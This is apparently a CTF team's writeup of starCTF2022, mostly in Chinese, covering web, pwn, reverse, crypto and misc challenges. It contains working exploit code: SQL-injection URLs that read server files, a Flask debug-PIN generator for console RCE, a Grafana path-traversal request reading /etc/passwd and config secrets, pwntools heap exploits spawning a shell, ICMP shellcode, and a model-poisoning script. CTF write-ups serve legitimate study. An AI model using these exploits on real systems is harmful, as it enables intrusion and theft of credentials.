Back
Featured image of post starCTF2022 Writeup by or4nge

starCTF2022 Writeup by or4nge

*CTF2022 11th

Web

oh-my-notepro

debug 模式为开,随便试一试即可触发报错,note_id 处存在注入,使用 load data local infile 'xx' into table xx 可以读文件。

创建临时表:

http://123.60.72.85:5002/view?note_id=' union select 1,2,3,4,5;create table otable(data varchar(10000));--+

把文件写入表中:

http://123.60.72.85:5002/view?note_id=' union select 1,2,3,4,5;load data local infile "/app/app.py" into table otable;--+

读取数据:

http://123.60.72.85:5002/view?note_id=' union select 1,2,3,(select group_concat(data, '\n') from (select data from otable limit 0,50)x),5;--+

debug模式为开,考虑计算flask debug pin,exp如下:

import hashlib
from itertools import chain
def get_machine_id():
    machine_id = '1cc402dd0e11d5ae18db04a6de87223d' # /etc/machine-id
    boot_id = '' # /proc/sys/kernel/random/boot_id
    cgroup = '4b13f9ab9776ea7cf70e6ab9b3a06f5987e0d7b73fe5703ecf8e1d06018ebc71' # /proc/1/cgroup
    linux = machine_id + boot_id + cgroup
    return linux
rv = None
num = None
mac = '02:42:ac:1c:00:03'# /sys/class/net/eth0/address

probably_public_bits = [
    'ctf',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
    str(int(mac.replace(':',''), 16)),
    get_machine_id()
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
        else:
            rv = num
print(rv)

算出pin,访问/console即可rce。

oh-my-lotto

将环境变量PATH设置为空即可跳过wget命令。第一次正常访问/lotto,然后访问/result获取结果,然后上传至/forecast,然后再次访问/lotto,提供环境变量PATH为空,即可使forecast与result相同,获得flag。

oh-my-grafana

cve-2021-43798任意文件读:GET /public/plugins/welcome/../../../../../../../../etc/passwd HTTP/1.1

读到了配置文件:/public/plugins/welcome/../../../../../../../..//etc/grafana/grafana.ini

发现唯一生效的配置文件就是 adminpassword

admin_user = admin

admin_password = 5f989714e132c9b04d4807dafeb10ade

看上去是个md5,但是实际上就是密码(在非隔离环境下需要多登录几次)

登进去后有个mysql服务,可以任意查询语句,趁着一堆人直接上车 select * from fffffflllllllllaaaagggggg

Pwn

examination

leak,任意地址添加 1 更改 len,堆溢出

from pwn import *
import sys
context(os='linux', arch='amd64', log_level='debug')

p = process("./examination")
# p = remote("124.70.130.92", 60001)
libc = ELF("./libc-2.31.so")

	

    
def debugf(b=0):
    if debug:
        if b:
            gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
        else:
            gdb.attach(p)
            
elf = ELF('./examination')



ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

heap_base = 0

def menu(i):
    sla(b"choice>> ", str(i))

def add_student(q):
    menu(1)
    sla(b"questions:", str(q))

def give_score():
    menu(2)

def write_view(i, size, content, flag):
    menu(3)
    sla("which one? >", str(i))
    if flag != 1:
        sla("please input the size of comment: ", str(size))
    sa("enter your comment:", content)

def free(i):
    menu(4)
    sla("choose?", str(i))

def change_role(i):
    menu(5)
    sla("role: <0.teacher/1.student>:", str(i))

def pray():
    menu(3)

def check_view():
    menu(2)

def reward():
    menu(2)
    ru("reward! ")
    base = ru(b"\n")[:-1]
    global heap_base
    heap_base = int(base, 16) - 0x2a0
    print(hex(heap_base))
    sla("addr: ", str(heap_base+0x2e0+1).encode() + b"\x00")

def set_mode(i):
    menu(4)
    sla("100", str(i))

def change_id(i):
    menu(6)
    sla("id:", str(i))





sl("0")
add_student(1)
change_role(1)
pray()
change_role(0)
give_score()

write_view(0, 0x18, b"a"*0x10, 0)
change_role(1)
reward()
change_role(0)
add_student(1)
payload1 = b"a"*0x18+p64(0x31) + p64(heap_base + 0x340) + p64(0)*4 + p64(0x21) + p32(1) + p32(0x41) + p64(heap_base+0x10) + p64(0x2a0+0x120)
write_view(0,0x118 ,payload1, 1)

write_view(1, 0x118, p16(0x7)*0x10, 1)

add_student(2)
write_view(2,0x100, b"a"*0x20, 0)
add_student(3)
write_view(3,0x8, b"/bin/sh\x00", 0)
free(2)

change_role(1)
change_id(1)
menu(2)
ru("review:")
rv(0x3a1)
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - libc.sym["__malloc_hook"] - 0x10 - 96
print(hex(libc.address))
change_role(0)
payload2 = b"a"*0x18+p64(0x31) + p64(heap_base + 0x340) + p64(0)*4 + p64(0x21) + p32(1) + p32(0x41) + p64(libc.sym["__free_hook"]) + p64(0x2a0+0x120)
write_view(0,0x118, payload2, 1)
write_view(1,0x118, p64(libc.sym["system"]), 1)

gdb.attach(p)
# free(3)
p.interactive()

ping

from scapy.all import *
from pwn import *
context.arch = 'i386'

res = b''
def pwn(num,idx):
	global res
	payload1 = asm(shellcraft.memcpy(0x10c2aa,0x350000+idx,1))
	payload1 += asm('''
	mov eax, 0x0010014b
	jmp eax
	''')
	payload =p8(num)+ b'\x90'*(484-1-len(payload1))+payload1
	payload +=p32(0x10c280) + p32(0x0010c8ac)+p32(0x00000023)+p32(0x0010a6b4)+p32(0x0010a6b4)+p32(0x10c2aa+50)+p32(0x0010c8ac)+p32(0x00000212)+p32(0x0010c280)+p32(0x0010c878)+p32(0)+p32(0x00010000)+p32(0)+p32(0x00107974)+p32(0x00010000)+p32(0x2badb002)+p32(0)*5





	b = IP(dst='20.239.70.121', len=596)/ICMP()/payload
	b = IP(raw(b))
	checksum_scapy = b[ICMP].chksum
	b = IP(dst='20.239.70.121', len=596)/ICMP(chksum=checksum_scapy )/payload



	ping = sr1(b, timeout=0.5)
	if ping:
		res+=p8(num)
		print(res)
		return num
	return 0



for idx in range(6,24):
	for num in range(0x21,0x7f):
		print(num,idx)
		if pwn(num,idx):
			break
		
print(res)

Re

Simple File System

输入plantflag可以植入flag文件的某种翻译方式到某个块里

把所有可打印字符放进flag文件,就可以得到翻译的字典

在image.flag文件里找*CTF翻译后的前缀,就有整个flag了

Jump

在sub_402689运行了 sub_4119F0(qword_4C9400, (__int64)"%c%s%c", 2LL, (const char *)dword_4C9620, 3LL); 后下硬件断点,发现生成了以所有位置为起始的字符串。

随后这些字符串传入 sub_401F62,进行快排。

最后在 sub_402826 中以排序后的所有字符串的最后一位构成密文,并与目标比较

因此可以得知target中每个字符的后一个字符是顺序排列的

target = '\x03jmGn_=uaSZLvN4wFxE6R+p\x02D2qV1CBTck'
sorttar = list(target)
sorttar.sort()
flag = ['\x03']

for _ in range(0x21):
    c = flag[0]
    flag = [target[sorttar.index(c)]] + flag
print (''.join(flag[1:-1]))

NaCl

一个 feistal 结构的8字节分组密码,一个 xtea 密码

整体循环分为 4 次,每次处理 8 字节

先进行密钥扩展,这一步每次都要进,但仅第一次执行

随后进行 feistal 的加密,加密之后进行 xtea 加密,xtea的循环次数取决于大循环的次数

解密脚本

from libnum import *

def xtea_decrypt(v, i):
    '''v: list'''
    key = [0x3020100, 0x7060504, 0xB0A0908, 0xF0E0D0C]
    v0, v1 = v
    delta = 0x10325476
    sum=(delta * (1 << i)) & 0xffffffff
    for _ in range(1 << i):
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3])
        v1 &= 0xffffffff
        sum -= delta
        sum &= 0xffffffff
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3])
        v0 &= 0xffffffff
    return [v0, v1]

def rol(x, i):
    return ((x << i) | (x >> (32 - i))) & 0xffffffff

key = [
    0x4050607, 0x10203, 0x0C0D0E0F, 0x8090A0B, 0x0CD3FE81B, 0x0D7C45477, 0x9F3E9236, 0x107F187,
    0x0F993CB81, 0x0BF74166C, 0x0DA198427, 0x1A05ABFF, 0x9307E5E4, 0x0CB8B0E45, 0x306DF7F5, 0x0AD300197, 
    0x0AA86B056, 0x449263BA, 0x3FA4401B, 0x1E41F917, 0x0C6CB1E7D, 0x18EB0D7A, 0x0D4EC4800, 0x0B486F92B, 
    0x8737F9F3, 0x765E3D25, 0x0DB3D3537, 0x0EE44552B, 0x11D0C94C, 0x9B605BCB, 0x903B98B3, 0x24C2EEA3, 
    0x896E10A2, 0x2247F0C0, 0x0B84E5CAA, 0x8D2C04F0, 0x3BC7842C, 0x1A50D606, 0x49A1917C, 0x7E1CB50C,
    0x0FC27B826, 0x5FDDDFBC, 0x0DE0FC404, 0xB2B30907
]

cipher = [
    0xFDF5C266, 0x7A328286, 0xCE944004, 0x5DE08ADC, 
    0xA6E4BD0A, 0x16CAADDC, 0x13CD6F0C, 0x1A75D936, 
]

for i in range(0, 4):
    l, r = xtea_decrypt(cipher[2*i:2*i+2], i+1)
    for j in range(44):
        l, r = r, l
        l ^= (rol(r, 1) & rol(r, 8)) ^ rol(r, 2) ^ key[43 - j]
    l, r = r, l
    print (n2s(l).decode() + n2s(r).decode(), end='')

Crypto

ezRSA

q的前124位能求出来,然后第300-900位可以通过移比特确定(看下面代码,思路跟zer0pts那个anti很像),最后300位直接copper

不知道为啥,本地测试了一下,下面这个脚本只能爆出450-900位的,第300-450有点小问题,但是总共只有450bit不确定,还是能直接copper,直接就出了

from Crypto.Util.number import long_to_bytes
import gmpy2

n = 0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3
c = 0xd7f6c90512bc9494370c3955ff3136bb245a6d1095e43d8636f66f11db525f2063b14b2a4363a96e6eb1bea1e9b2cc62b0cae7659f18f2b8e41fca557281a1e859e8e6b35bd114655b6bf5e454753653309a794fa52ff2e79433ca4bbeb1ab9a78ec49f49ebee2636abd9dd9b80306ae1b87a86c8012211bda88e6e14c58805feb6721a01481d1a7031eb3333375a81858ff3b58d8837c188ffcb982a631e1a7a603b947a6984bd78516c71cfc737aaba479688d56df2c0952deaf496a4eb3f603a46a90efbe9e82a6aef8cfb23e5fcb938c9049b227b7f15c878bd99b61b6c56db7dfff43cd457429d5dcdb5fe314f1cdf317d0c5202bad6a9770076e9b25b1

hight_124 = int(bin(gmpy2.iroot(n, 2)[0])[2:][:124], 2)
p = ((hight_124 << 900) ^ (1<<900)-1) ^ ((1<<300)-1)
q = (hight_124 << 900)
for i in range(898, 299, -1):
    cur = 1<<i
    if (p^cur) * (q^cur) < n:
        p ^= cur
        q ^= cur

print(p >> 450)
#Sage
from sage.all import *
n = 0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3



p4 = 58804727289972133098258523381187273579708165828871631637667339400276723145699294300854967408059394786721660574269169740095474486979958553835424583960343801193657276948482959

e =  65537
pbits = 1024
kbits = pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
#经过以上一些函数处理后,n和p已经被转化为10进制
if roots:        
        p = p4+int(roots[0]) 
        print("n: "+str(n))
        print("p: "+str(p))
        print("q: "+str(n//p))

Patches2

from pwn import *
import hashlib
C0 = 'C0'
C1 = 'C1'
C2 = 'C2'
C3 = 'C3'
C4 = 'C4'
C5 = 'C5'
C6 = 'C6'

def GFDiv(x, z):
    mod = 0
    while x.bit_length() >= z.bit_length():
        bitLack = x.bit_length() - z.bit_length()
        x = x ^ (z << bitLack)
        mod = mod ^ (1 << bitLack)
    return mod, x



def GFMul(x, z):
    i = 0
    res = 0
    while z != 0:
        if z & 1:
            res = res ^ (x << i)
        i += 1
        z = (z >> 1)
    return res



def xor(a, b):
    xor = '( ( %(a)s ) and ( ( %(b)s ) == 0 ) ) or ( ( %(b)s ) and ( ( %(a)s ) == 0 ) )'
    s = xor % {'a': a, 'b': b}
    return s



def xor3(a, b, c):
    temp = xor(a, b)
    return xor(temp, c)



def xor4(a, b, c, d):
    temp = xor(a, b)
    temp2 = xor(c, d)
    return xor(temp, temp2)

def f(n):
    if n == 1:
        return 0
    else:
        return 1


BCHcode = ["" for i in range(15)]
BCHcode[0] = C0
BCHcode[1] = C1
BCHcode[2] = C2
BCHcode[3] = C3
BCHcode[4] = xor(C0, C4)
BCHcode[5] = xor(C1, C5)
BCHcode[6] = xor3(C0, C2, C6)
BCHcode[7] = xor3(C0, C1, C3)
BCHcode[8] = xor4(C0, C1, C2, C4)
BCHcode[9] = xor4(C1, C2, C3, C5)
BCHcode[10] = xor4(C2, C3, C4, C6)
BCHcode[11] = xor3(C3, C4, C5)
BCHcode[12] = xor3(C4, C5, C6)
BCHcode[13] = xor(C5, C6)
BCHcode[14] = C6

context(os="linux",log_level='debug')
p=remote("124.71.145.24",60002)
p.recvuntil("sha256(xxxx+")
leave=p.recv(16).decode()
print(leave)
p.recvuntil("== ")
sha256=p.recv(64).decode()
print(sha256)
pd=0
for i in range(32,127):
    for j in range(32,127):
        for k in range(32,127):
            for m in range(32,127):
                strings = chr(i) + chr(j) + chr(k) + chr(m) + leave
                s = hashlib.sha256()    
                s.update(strings.encode())    
                b = s.hexdigest()
                if b == sha256:
                    key=chr(i) + chr(j) + chr(k) + chr(m)
                    print(key)
                    pd=1
                    break
            if pd==1:
                break
        if pd==1:
            break
    if pd==1:
        break
p.send(key)
for la in range(50):
   
    bits = [0]*15
    res=0
    res2=0
    for i in range(15):
        p.sendlineafter("Ask Patches:",BCHcode[i])
        p.recvuntil("Patches answers: ")
        recvbool=p.recv(1)
        if recvbool==b'T':
            bits[i]=1
    print(bits)
    for i in range(15):
        if bits[i]==1:
            res^=1<<i
            res2^=1<<(3*i)
    pd = 0
    for i in range(16):
        for j in range(16):
            if i != 15:
                bits[i] = f(bits[i])
            if j != 15:
                bits[j] = f(bits[j])
            res = 0
            res2 = 0
            for k in range(15):
                if bits[k] == 1:
                    res ^= 1 << k
                    res2 ^= 1 << (3 * k)
            _, mod = GFDiv(res, 19)
            _, mod2 = GFDiv(res2, 4681)
            if mod == 0 and mod2 == 0:
                pd = 1
                break
            else:
                if i != 15:
                    bits[i] = f(bits[i])
                if j != 15:
                    bits[j] = f(bits[j])
        if pd == 1:
            break
    res = 0
    for i in range(15):
        if bits[i] == 1:
            res ^= 1 << i
    C, _ = GFDiv(res, 465)
    print(bin(C))
    pay = ""
    print(_)
    for i in range(7):
        pay += str(C % 2) + " "
        C //= 2
    pay=pay.strip()
    p.sendlineafter("Now open the chests:",pay)
p.interactive()

Misc

babyFL

联邦学习,我们能控制20个客户端,想办法用提交的参数数据污染掉服务端的训练过程让测试达到0.95精度即可,下面分别是exp、训练脚本

import numpy as np
from pwn import *
# context(log_level='debug')
p = remote('124.70.158.154', 8081)
def get_val(arr):
    if len(arr.shape) > 1:
        for temp in arr:
            get_val(temp)
    else:
        l = len(arr)
        for i in range(l):
            arr[i] = float(input())
res = np.load('./save/final.npy', allow_pickle=True)
# for i in range(8):
#     mtx = res[i][0] * 1000
#     try:
#         for j in mtx:
idx = 0
mtx = res[0][0] * 1000
for i in mtx:
    for j in i:
        for k in j:
            for l in k:
                p.sendline(str(l).encode())
                idx += 1
mtx = res[1][0] * 1000
for i in mtx:
    p.sendline(str(i).encode())
    idx += 1
mtx = res[2][0] * 1000
for i in mtx:
    for j in i:
        for k in j:
            for l in k:
                p.sendline(str(l).encode())
                idx += 1
mtx = res[3][0] * 1000
for i in mtx:
    p.sendline(str(i).encode())
    idx += 1
mtx = res[4][0] * 1000
for i in mtx:
    for j in i:
        p.sendline(str(j).encode())
        idx += 1
mtx = res[5][0] * 1000
for i in mtx:
    p.sendline(str(i).encode())
    idx += 1
mtx = res[6][0] * 1000
for i in mtx:
    for j in i:
        p.sendline(str(j).encode())
        idx += 1

mtx = res[7][0] * 1000
for i in mtx:
    p.sendline(str(i).encode())
    idx += 1
print(idx)
import os
import traceback
import numpy as np
from tensorflow.keras import Sequential
from tensorflow.keras.layers import  Dense, Conv2D, Flatten, MaxPooling2D
from tensorflow import keras
from tensorflow.keras.models import load_model
from tensorflow.keras.datasets import mnist
participant_number = 20

def new_model():
    model = Sequential()
    model.add(Conv2D(10, (3, 3), input_shape=(28, 28, 1)))
    model.add(MaxPooling2D(pool_size=(2, 2)))
    model.add(Conv2D(20, (3, 3)))
    model.add(Flatten())
    model.add(Dense(units=100, activation='relu'))
    model.add(Dense(units=10, activation='softmax'))
    model.compile(loss=keras.losses.SparseCategoricalCrossentropy(), metrics=['accuracy'],
                  optimizer=keras.optimizers.Adam(lr=0.001))
    return model

def load_test_data():
    (_, _), (x, y) = mnist.load_data()
    l = len(y)
    for i in range(l):
        y[i] = 9 - y[i]
    x = x.reshape(-1, 28, 28, 1)
    return x, y



def train_models():
    (x, y), (_, _) = mnist.load_data()
    x = x.reshape(-1, 28, 28, 1)
    for i in range(participant_number):
        model = new_model()
        model.fit(x, y, batch_size=64, epochs=10)
        model.save("./model/"+str(i))

def aggregation(parameters):
    print('aggregation')
    weights = []
    for layer in parameters:
        sum = 0
        l = len(layer)
        for temp in layer:
            sum = sum + temp
        weights.append(sum / l)
        # weights.append(layer[2])
    model = new_model()
    l = len(model.get_weights())
    model.set_weights(weights)
    return model

def test(model):
    print('test')
    my_x, my_y = load_test_data()
    loss, acc = model.evaluate(my_x, my_y, batch_size=64)
    print(loss, acc)
    if acc > 0.95:
        f = open('./flag')
        print(f.read())
    else:
        print("you fail", acc)

def load_parameters():
    print('load parameter')
    parameters = []
    models = []
    for i in range(participant_number):
        models.append(load_model("./inv_model/"+str(i)))
    for i in range(8):
        layer = []
        for j in range(participant_number):
            temp = models[j].get_weights()
            layer.append(temp[i])
        parameters.append(layer)
    return parameters
def load_parameters1():
    print('load parameter1')
    parameters = []
    models = []
    for i in range(participant_number):
        models.append(load_model("./model/"+str(i)))
    for i in range(8):
        layer = []
        for j in range(participant_number):
            temp = models[j].get_weights()
            layer.append(temp[i])
        parameters.append(layer)
    return parameters
def get_val(arr):
    if len(arr.shape) > 1:
        for temp in arr:
            get_val(temp)
    else:
        l = len(arr)
        for i in range(l):
            arr[i] = float(input())

def get_input_parameter(parameters):
    print('get input parameter')
    res = np.load('./save/final.npy', allow_pickle=True)
    i = 0
    for layer in parameters:
        input_weight = np.zeros(layer[0].shape)
        print("next layer:")
        # get_val(input_weight)
        input_weight = res[i][0] * 1000
        layer.append(input_weight)
        i += 1
    return parameters

# 8 * 20 * (3 * 3 * 1 * 10)
if __name__ == '__main__':
    parameters1 = load_parameters1()
    np.save('./save/final', parameters1)
    # model1 = aggregation(parameters1)
    # test(model1)
    # parameters2 = load_parameters()
    # np.save('./save/final2', parameters2)
    
    # model2 = aggregation(parameters2)
    # test(model2)
    
    # print(len(parameters))
    # print(parameters)
    parameters = load_parameters()
    # np.save('./save/final', parameters)
    parameters = get_input_parameter(parameters)
    model = aggregation(parameters)
    test(model)

Today

根据题目信息推测出在上海,通过一家农夫生鲜水果店,找到对面的小区,在地图评论区找到flag